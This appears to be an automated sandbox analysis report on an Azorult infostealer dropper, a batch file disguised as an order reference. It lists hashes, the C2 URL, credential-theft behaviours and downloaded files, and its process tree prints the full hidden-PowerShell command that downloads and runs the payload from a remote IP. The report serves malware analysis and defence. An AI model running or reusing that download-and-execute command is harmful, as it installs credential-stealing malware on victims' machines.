Analysis

  • max time kernel
    95s
  • max time network
    204s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-10-2024 09:47

General

  • Target

    Order-63729_Reference.bat

  • Size

    208B

  • MD5

    1959937c119d4b66dd48d8067850f50d

  • SHA1

    83c9104b1aa305fe13d1321cda6a2cabbb9241fc

  • SHA256

    e512ec36ea716c5a62c1a24fb8b794c4e6a0db4c5c7ed1d16025400428622cc2

  • SHA512

    a9b2230f6b2e0a59a2b8b8697e7beb6379a65cc0831108d6e342970e8a1fb6e4e307080053035e26f28fa62d2b1c8ccbc7927c2cf2c7e6523238d0dcf9f6b956

Malware Config

Extracted

Family

azorult

C2

http://h8m5b.shop/ML341/index.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Order-63729_Reference.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3312
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1600
      • C:\Users\Admin\AppData\Local\Temp\Order-63729_Reference.exe
        "C:\Users\Admin\AppData\Local\Temp\Order-63729_Reference.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Accesses Microsoft Outlook profiles
        • System Location Discovery: System Language Discovery
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • outlook_office_path
        • outlook_win_path
        PID:1576

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\E987B76F\mozglue.dll

    Filesize

    135KB

    MD5

    9e682f1eb98a9d41468fc3e50f907635

    SHA1

    85e0ceca36f657ddf6547aa0744f0855a27527ee

    SHA256

    830533bb569594ec2f7c07896b90225006b90a9af108f49d6fb6bebd02428b2d

    SHA512

    230230722d61ac1089fabf3f2decfa04f9296498f8e2a2a49b1527797dca67b5a11ab8656f04087acadf873fa8976400d57c77c404eba4aff89d92b9986f32ed

  • C:\Users\Admin\AppData\Local\Temp\E987B76F\msvcp140.dll

    Filesize

    429KB

    MD5

    109f0f02fd37c84bfc7508d4227d7ed5

    SHA1

    ef7420141bb15ac334d3964082361a460bfdb975

    SHA256

    334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

    SHA512

    46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

  • C:\Users\Admin\AppData\Local\Temp\E987B76F\nss3.dll

    Filesize

    1.2MB

    MD5

    556ea09421a0f74d31c4c0a89a70dc23

    SHA1

    f739ba9b548ee64b13eb434a3130406d23f836e3

    SHA256

    f0e6210d4a0d48c7908d8d1c270449c91eb4523e312a61256833bfeaf699abfb

    SHA512

    2481fc80dffa8922569552c3c3ebaef8d0341b80427447a14b291ec39ea62ab9c05a75e85eef5ea7f857488cab1463c18586f9b076e2958c5a314e459045ede2

  • C:\Users\Admin\AppData\Local\Temp\E987B76F\vcruntime140.dll

    Filesize

    81KB

    MD5

    7587bf9cb4147022cd5681b015183046

    SHA1

    f2106306a8f6f0da5afb7fc765cfa0757ad5a628

    SHA256

    c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

    SHA512

    0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

  • C:\Users\Admin\AppData\Local\Temp\Order-63729_Reference.exe

    Filesize

    112KB

    MD5

    27864dd446f03f806b26031d97e3377b

    SHA1

    18688de552635bfbe9b3afae166b1d86d41eccc4

    SHA256

    94d346e862d5850b5d19aefd5053191c47975b2d233958f5145f0390d42c1fbd

    SHA512

    014a27ab976725e15638488aea3a293aadccb6b9fb34cc54ae1ed3510a662a6562bf3f4b4e7c8cb90a7bed5fbd63fa13353e52e8270105a7ef4764b83fb867e6

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eifforj2.onr.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1576-147-0x0000000000400000-0x0000000000420000-memory.dmp

    Filesize

    128KB

  • memory/1600-0-0x00007FFF2CB43000-0x00007FFF2CB45000-memory.dmp

    Filesize

    8KB

  • memory/1600-10-0x0000029CFDA60000-0x0000029CFDA82000-memory.dmp

    Filesize

    136KB

  • memory/1600-11-0x00007FFF2CB40000-0x00007FFF2D601000-memory.dmp

    Filesize

    10.8MB

  • memory/1600-12-0x00007FFF2CB40000-0x00007FFF2D601000-memory.dmp

    Filesize

    10.8MB

  • memory/1600-23-0x00007FFF2CB40000-0x00007FFF2D601000-memory.dmp

    Filesize

    10.8MB